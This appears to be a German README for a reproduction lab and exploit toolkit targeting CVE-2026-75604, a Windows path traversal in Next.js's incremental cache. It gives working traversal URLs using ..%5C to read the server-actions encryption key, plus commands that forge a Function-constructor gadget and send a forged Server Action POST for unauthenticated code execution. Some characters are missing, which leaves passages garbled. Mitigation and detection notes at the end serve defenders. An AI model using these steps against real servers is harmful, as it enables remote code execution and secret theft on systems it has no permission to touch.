
Reproduktionslabor und Exploit-Tooling für CVE-2026-75604, eine Path-Traversal-Schwachstelle im inkrementellen Cache von Next.js, die zu nicht authentifizierter RCE unter Windows führt. Enthält PoC, Forge-CLI und Testumgebung.
Reproduktionslabor und Exploit-Werkzeuge für CVE-2026-75604, eine nicht authentifizierte Pfad-Traversal im inkrementellen Cache von Next.js, die Windows-Hosts betrifft. Ein einzelner nicht maskierter Backslash ermöglicht es einem Angreifer, Dateien außerhalb des Cache-Verzeichnisses zu lesen und zu schreiben; bei den richtigen Versionen und App-Strukturen führt dies zu nicht authentifizierter Remote-Codeausführung.
Forschung von Fortbridge. Vollständiger Artikel: Reproducing CVE-2026-75604 (Blog-Link - nach Veröffentlichung aktualisieren).
⚠️ Nur für autorisierte Tests. Dies ist eine absichtlich verwundbare Anwendung und ein funktionierender Exploit für eine gepatchte CVE. Verwenden Sie sie nur in einem isolierten Labornetzwerk, das Ihnen gehört. Setzen Sie das Ziel niemals in einer Umgebung ein, die von Produktionssystemen oder dem Internet erreichbar ist.
escapePathDelimiters (Next.js Router-Utils) maskiert /, #, , aber .
Ein prozentkodierter Backslash () in einem Routensegment wird zu einem rohen dekodiert,
überlebt in den inkrementellen Cache-Schlüssel, und - da unter Windows ein Pfadtrenner ist -
führt aus dem Cache-Root hinaus. Derselbe Code unterstützt Cache-, was beliebiges Dateilesen und -schreiben ermöglicht. Nur Windows; Linux/macOS
behandeln als gewöhnliches Dateinamenzeichen.
?\%5C\\path.join()\Betroffen: 13.4-15.5.23 und 16.0-16.3.2. Behoben: 15.5.24 / 16.3.3.
Die Traversal erstreckt sich über den gesamten betroffenen Bereich, aber das RCE-Gadget
(eine React-Flight-constructor:constructor-Eigenschaftskette, die zum Function-Konstruktor
auflöst) funktioniert nur dort, wo react-server-dom-webpack eine Referenzschutzprüfung
vermisst, die mitten im Lebenszyklus hinzugefügt wurde:
| Next.js-Bereich | Gadget → Function | Auswirkung |
|---|---|---|
| 13.4 - 14.x | nein (keine Eigenschaftspfad-Unterstützung) | Lesen / Schreiben / Authz-Bypass |
| 15.0.0 - 15.5.22 | ja | RCE-fähig |
| 15.5.23 | nein (Schutzprüfung hinzugefügt) | nur Traversal |
| 16.0.0 - 16.2.x | ja | RCE-fähig |
| 16.3.0 - 16.3.2 | nein (Schutzprüfung hinzugefügt) | nur Traversal |
| 15.5.24 / 16.3.3 | - | gepatcht |
RCE erfordert außerdem eine app-seitige Server Action höherer Ordnung, die einen
Closure-gebundenen Wert mit Benutzereingabe aufruft (boundFn(input)()). Apps ohne dieses
Muster sind weiterhin von Offenlegung, Schreib-/DoS-Angriffen und Autorisierungs-Bypass
bei Server Actions betroffen. Siehe research/FINDINGS.md
und research/rce-version-matrix.txt.
| Pfad | Was |
|---|---|
setup-windows.ps1 | Build + Start des verwundbaren Labors auf einem Windows-Host (Standard Next 16.2.0) |
app/ | minimales verwundbares Ziel: Home-Server-Action (RCE-Senke) + zwei gecachte Catch-All-Routen |
exploit.mjs | Nur-Lese-PoC - encryptionKey über die Traversal auslesen (--burp, --raw, --write) |
forge-cli.mjs | decrypt eines echten gebundenen Arguments / gadget-Fälschung des Function-Blobs |
send-action.mjs | Schritte 4-5 in einem Befehl: gefälschter POST + Rücklesen der Ausgabe (--proof, --burp) |
harness/ | OS-unabhängige Wiederentdeckung - führt den unveränderten 16.3.2/16.3.3-Code unter path.win32 aus |
BURP-STEPS.md | das kohärente 5-Schritte-Reproduktionsrezept |
research/ | Patch-Diff, Versionsmatrix, Erkenntnisse |
evidence/ | Screenshots eines verifizierten Laufs |
# Build + Start des verwundbaren Labors (Next.js 16.2.0)
powershell -File setup-windows.ps1 # gibt BUILD_ID und Check-URLs aus
# Schritt 1 (Browser): aufwärmen, dann Traversal-Lesen öffnen → encryptionKey
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (aufwärmen)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# Schritte 2-3: echtes gebundenes Argument entschlüsseln, dann das Function-Gadget fälschen
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# Schritte 4-5 (über Burp): gefälschter POST + Rücklesen in einem Befehl
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
Kein Windows-Rechner? node harness/harness.mjs beweist die Traversal auf jedem Betriebssystem,
indem der echte ausgelieferte Next.js-16.3.2- und 16.3.3-Code mit an path.win32 gebundenem
path ausgeführt wird.
Upgrade auf 15.5.24 oder 16.3.3. Es gibt keinen In-Place-Workaround für betroffene
Windows-Hosts. Rotieren Sie Geheimnisse, die das Lesen offengelegt haben könnte - insbesondere
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (ein geleakter Schlüssel bleibt bei Fixierung über
Neubuilds hinweg gültig).
%5C / ..%5C in einem Routensegment an /_next/data/… oder gecachte App-Router-Pfade.{"pageProps":…,"__N_SSG":true}-Stub ist (das destruktive Lesen)..html / .rsc / .meta), die außerhalb von .next\server\app\ oder .next\server\pages\ geschrieben werden.